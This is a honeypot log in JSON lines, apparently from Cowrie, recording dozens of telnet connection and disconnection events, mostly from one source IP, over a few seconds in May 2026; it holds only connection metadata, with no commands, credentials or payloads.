{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54688,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce32f3e84896","protocol":"telnet","message":"New connection: 5.196.58.99:54688 (10.17.0.5:23) [session: ce32f3e84896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:18.003939Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54696,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1ce51155979","protocol":"telnet","message":"New connection: 5.196.58.99:54696 (10.17.0.5:23) [session: d1ce51155979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:18.073070Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54704,"dst_ip":"10.17.0.5","dst_port":23,"session":"906ca19ffe6d","protocol":"telnet","message":"New connection: 5.196.58.99:54704 (10.17.0.5:23) [session: 906ca19ffe6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:18.085320Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54716,"dst_ip":"10.17.0.5","dst_port":23,"session":"489f462347ce","protocol":"telnet","message":"New connection: 5.196.58.99:54716 (10.17.0.5:23) [session: 489f462347ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:18.796222Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54726,"dst_ip":"10.17.0.5","dst_port":23,"session":"1131cd8cf58f","protocol":"telnet","message":"New connection: 5.196.58.99:54726 (10.17.0.5:23) [session: 1131cd8cf58f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:19.116735Z"}
{"eventid":"cowrie.session.closed","duration":31.674376010894775,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:19.655977Z","src_ip":"5.196.58.99","session":"b952e4d113ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54732,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3e944cfdb56","protocol":"telnet","message":"New connection: 5.196.58.99:54732 (10.17.0.5:23) [session: c3e944cfdb56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:19.723669Z"}
{"eventid":"cowrie.session.closed","duration":30.71614170074463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:20.276879Z","src_ip":"5.196.58.99","session":"f0220972da6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54744,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cf72f49558a","protocol":"telnet","message":"New connection: 5.196.58.99:54744 (10.17.0.5:23) [session: 4cf72f49558a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:20.580036Z"}
{"eventid":"cowrie.session.closed","duration":31.156123876571655,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:20.711974Z","src_ip":"5.196.58.99","session":"3ff38d445712","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36721420288086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:20.819642Z","src_ip":"5.196.58.99","session":"af0fe2aedf74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.766428470611572,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:21.000864Z","src_ip":"5.196.58.99","session":"52039d703c8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.149224996566772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:21.052070Z","src_ip":"5.196.58.99","session":"5411d9f130bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.760504961013794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:21.209146Z","src_ip":"5.196.58.99","session":"768e4cc5193b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54746,"dst_ip":"10.17.0.5","dst_port":23,"session":"82229b581331","protocol":"telnet","message":"New connection: 5.196.58.99:54746 (10.17.0.5:23) [session: 82229b581331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:21.612736Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54762,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ff1e565b4ba","protocol":"telnet","message":"New connection: 5.196.58.99:54762 (10.17.0.5:23) [session: 6ff1e565b4ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:21.686212Z"}
{"eventid":"cowrie.session.closed","duration":31.56489396095276,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:22.004231Z","src_ip":"5.196.58.99","session":"db9573bafc94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54774,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdb2f9434397","protocol":"telnet","message":"New connection: 5.196.58.99:54774 (10.17.0.5:23) [session: bdb2f9434397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:22.268079Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54756,"dst_ip":"10.17.0.5","dst_port":23,"session":"130063d9af12","protocol":"telnet","message":"New connection: 5.196.58.99:54756 (10.17.0.5:23) [session: 130063d9af12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:22.284546Z"}
{"eventid":"cowrie.session.closed","duration":31.088053226470947,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:23.220691Z","src_ip":"5.196.58.99","session":"150e3973455a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54778,"dst_ip":"10.17.0.5","dst_port":23,"session":"29402e025db6","protocol":"telnet","message":"New connection: 5.196.58.99:54778 (10.17.0.5:23) [session: 29402e025db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:23.238909Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54782,"dst_ip":"10.17.0.5","dst_port":23,"session":"f48d0d28d35b","protocol":"telnet","message":"New connection: 5.196.58.99:54782 (10.17.0.5:23) [session: f48d0d28d35b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:23.319658Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54784,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c5600c649eb","protocol":"telnet","message":"New connection: 5.196.58.99:54784 (10.17.0.5:23) [session: 2c5600c649eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:23.542481Z"}
{"eventid":"cowrie.session.closed","duration":31.366808891296387,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:23.688974Z","src_ip":"5.196.58.99","session":"870ca64fecf8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49653649330139,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:25.051646Z","src_ip":"5.196.58.99","session":"fadfc4cfbea0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60262,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc7c9e1000bd","protocol":"telnet","message":"New connection: 5.196.58.99:60262 (10.17.0.5:23) [session: bc7c9e1000bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:25.097898Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60282,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb2931012a22","protocol":"telnet","message":"New connection: 5.196.58.99:60282 (10.17.0.5:23) [session: cb2931012a22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:25.257315Z"}
{"eventid":"cowrie.session.closed","duration":31.161080360412598,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:25.673606Z","src_ip":"5.196.58.99","session":"35c10f2eaf0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60252,"dst_ip":"10.17.0.5","dst_port":23,"session":"2113f11c378e","protocol":"telnet","message":"New connection: 5.196.58.99:60252 (10.17.0.5:23) [session: 2113f11c378e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:25.867178Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60290,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ff1a686b348","protocol":"telnet","message":"New connection: 5.196.58.99:60290 (10.17.0.5:23) [session: 5ff1a686b348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:26.034380Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60312,"dst_ip":"10.17.0.5","dst_port":23,"session":"2230f174005b","protocol":"telnet","message":"New connection: 5.196.58.99:60312 (10.17.0.5:23) [session: 2230f174005b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:26.386602Z"}
{"eventid":"cowrie.session.closed","duration":30.879459381103516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:26.407464Z","src_ip":"5.196.58.99","session":"26fe98252197","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60320,"dst_ip":"10.17.0.5","dst_port":23,"session":"f82a97eb27c1","protocol":"telnet","message":"New connection: 5.196.58.99:60320 (10.17.0.5:23) [session: f82a97eb27c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:26.751076Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60324,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea7af20948bc","protocol":"telnet","message":"New connection: 5.196.58.99:60324 (10.17.0.5:23) [session: ea7af20948bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:26.836915Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60336,"dst_ip":"10.17.0.5","dst_port":23,"session":"d195bf166832","protocol":"telnet","message":"New connection: 5.196.58.99:60336 (10.17.0.5:23) [session: d195bf166832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:27.192365Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60344,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cf3031c6970","protocol":"telnet","message":"New connection: 5.196.58.99:60344 (10.17.0.5:23) [session: 8cf3031c6970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:27.242877Z"}
{"eventid":"cowrie.session.closed","duration":30.75957441329956,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:27.269199Z","src_ip":"5.196.58.99","session":"15d7aa5ebb52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60302,"dst_ip":"10.17.0.5","dst_port":23,"session":"491016e5c82d","protocol":"telnet","message":"New connection: 5.196.58.99:60302 (10.17.0.5:23) [session: 491016e5c82d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:27.274504Z"}
{"eventid":"cowrie.session.closed","duration":30.9376437664032,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:27.467886Z","src_ip":"5.196.58.99","session":"95db07b17beb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60352,"dst_ip":"10.17.0.5","dst_port":23,"session":"16bf2bece070","protocol":"telnet","message":"New connection: 5.196.58.99:60352 (10.17.0.5:23) [session: 16bf2bece070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:27.616010Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60360,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7c9e78f104b","protocol":"telnet","message":"New connection: 5.196.58.99:60360 (10.17.0.5:23) [session: a7c9e78f104b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:28.105291Z"}
{"eventid":"cowrie.session.closed","duration":46.518484354019165,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:28.114857Z","src_ip":"174.138.46.234","session":"b99b2250124b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60362,"dst_ip":"10.17.0.5","dst_port":23,"session":"a50c51ccbd76","protocol":"telnet","message":"New connection: 5.196.58.99:60362 (10.17.0.5:23) [session: a50c51ccbd76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:28.128377Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60274,"dst_ip":"10.17.0.5","dst_port":23,"session":"f521361735e5","protocol":"telnet","message":"New connection: 5.196.58.99:60274 (10.17.0.5:23) [session: f521361735e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:28.235954Z"}
{"eventid":"cowrie.session.closed","duration":30.848260164260864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:28.521634Z","src_ip":"5.196.58.99","session":"421a9b46a849","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60374,"dst_ip":"10.17.0.5","dst_port":23,"session":"8acf12829606","protocol":"telnet","message":"New connection: 5.196.58.99:60374 (10.17.0.5:23) [session: 8acf12829606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:28.577747Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60384,"dst_ip":"10.17.0.5","dst_port":23,"session":"abd44e546583","protocol":"telnet","message":"New connection: 5.196.58.99:60384 (10.17.0.5:23) [session: abd44e546583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:28.938318Z"}
{"eventid":"cowrie.session.closed","duration":31.924404859542847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:29.025346Z","src_ip":"5.196.58.99","session":"7a414ca45aaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.018240451812744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:29.067335Z","src_ip":"5.196.58.99","session":"073a80b55a1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60398,"dst_ip":"10.17.0.5","dst_port":23,"session":"66534f60d552","protocol":"telnet","message":"New connection: 5.196.58.99:60398 (10.17.0.5:23) [session: 66534f60d552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:29.177717Z"}
{"eventid":"cowrie.session.closed","duration":31.04460906982422,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:29.243981Z","src_ip":"5.196.58.99","session":"3f9b69eb88a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72750186920166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:29.283821Z","src_ip":"5.196.58.99","session":"5f614d864176","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.377370357513428,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:29.388996Z","src_ip":"5.196.58.99","session":"b1083b014afe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.773308753967285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:29.589761Z","src_ip":"5.196.58.99","session":"245933051614","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60406,"dst_ip":"10.17.0.5","dst_port":23,"session":"318cebc07535","protocol":"telnet","message":"New connection: 5.196.58.99:60406 (10.17.0.5:23) [session: 318cebc07535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:29.775699Z"}
{"eventid":"cowrie.session.closed","duration":31.398866653442383,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:29.862596Z","src_ip":"5.196.58.99","session":"43ef7a5e8f2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21310329437256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:29.909768Z","src_ip":"5.196.58.99","session":"883f4390af82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60408,"dst_ip":"10.17.0.5","dst_port":23,"session":"850c1c48caea","protocol":"telnet","message":"New connection: 5.196.58.99:60408 (10.17.0.5:23) [session: 850c1c48caea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:30.312017Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60412,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b8f7a12239c","protocol":"telnet","message":"New connection: 5.196.58.99:60412 (10.17.0.5:23) [session: 6b8f7a12239c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:30.657648Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60428,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9d0418e0bd8","protocol":"telnet","message":"New connection: 5.196.58.99:60428 (10.17.0.5:23) [session: d9d0418e0bd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:30.755919Z"}
{"eventid":"cowrie.session.closed","duration":30.48167586326599,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:31.183322Z","src_ip":"5.196.58.99","session":"e6f10c53c1d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.852261066436768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:31.259559Z","src_ip":"5.196.58.99","session":"0560f1108f3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.736871004104614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:31.626229Z","src_ip":"5.196.58.99","session":"04c3adb18901","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60432,"dst_ip":"10.17.0.5","dst_port":23,"session":"575cdf4b348a","protocol":"telnet","message":"New connection: 5.196.58.99:60432 (10.17.0.5:23) [session: 575cdf4b348a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:31.663087Z"}
{"eventid":"cowrie.session.closed","duration":30.714144706726074,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:32.067303Z","src_ip":"5.196.58.99","session":"10fa083742d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60444,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9ce935c4867","protocol":"telnet","message":"New connection: 5.196.58.99:60444 (10.17.0.5:23) [session: b9ce935c4867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:32.494644Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60448,"dst_ip":"10.17.0.5","dst_port":23,"session":"b28ae3aafa9e","protocol":"telnet","message":"New connection: 5.196.58.99:60448 (10.17.0.5:23) [session: b28ae3aafa9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:32.543868Z"}
{"eventid":"cowrie.session.closed","duration":31.463768243789673,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:32.883508Z","src_ip":"5.196.58.99","session":"1c08db1397de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.050636291503906,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:33.050241Z","src_ip":"5.196.58.99","session":"cf482eb9540a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.534210205078125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:33.103867Z","src_ip":"5.196.58.99","session":"4f97aea0eec4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":60442,"dst_ip":"10.17.0.5","dst_port":23,"session":"31d4cefd182d","protocol":"telnet","message":"New connection: 5.196.58.99:60442 (10.17.0.5:23) [session: 31d4cefd182d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:33.108761Z"}
{"eventid":"cowrie.session.closed","duration":30.404675483703613,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:33.192594Z","src_ip":"5.196.58.99","session":"5f19e331bcbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15918207168579,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:33.846719Z","src_ip":"5.196.58.99","session":"043e43bf6a1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.327075481414795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:34.178161Z","src_ip":"5.196.58.99","session":"a82fe11e88b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49570,"dst_ip":"10.17.0.5","dst_port":23,"session":"29a2b128fd55","protocol":"telnet","message":"New connection: 5.196.58.99:49570 (10.17.0.5:23) [session: 29a2b128fd55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:34.215645Z"}
{"eventid":"cowrie.session.closed","duration":31.25211811065674,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:34.382737Z","src_ip":"5.196.58.99","session":"958f6cf6bad2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.685560703277588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:34.524719Z","src_ip":"5.196.58.99","session":"7dca55aefee0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49576,"dst_ip":"10.17.0.5","dst_port":23,"session":"a93944b8f54f","protocol":"telnet","message":"New connection: 5.196.58.99:49576 (10.17.0.5:23) [session: a93944b8f54f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:34.568607Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49588,"dst_ip":"10.17.0.5","dst_port":23,"session":"32385d8dcf53","protocol":"telnet","message":"New connection: 5.196.58.99:49588 (10.17.0.5:23) [session: 32385d8dcf53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:34.614424Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49590,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e4d4a5a0afb","protocol":"telnet","message":"New connection: 5.196.58.99:49590 (10.17.0.5:23) [session: 9e4d4a5a0afb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:34.725858Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49614,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0bb23aedb04","protocol":"telnet","message":"New connection: 5.196.58.99:49614 (10.17.0.5:23) [session: b0bb23aedb04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:35.199367Z"}
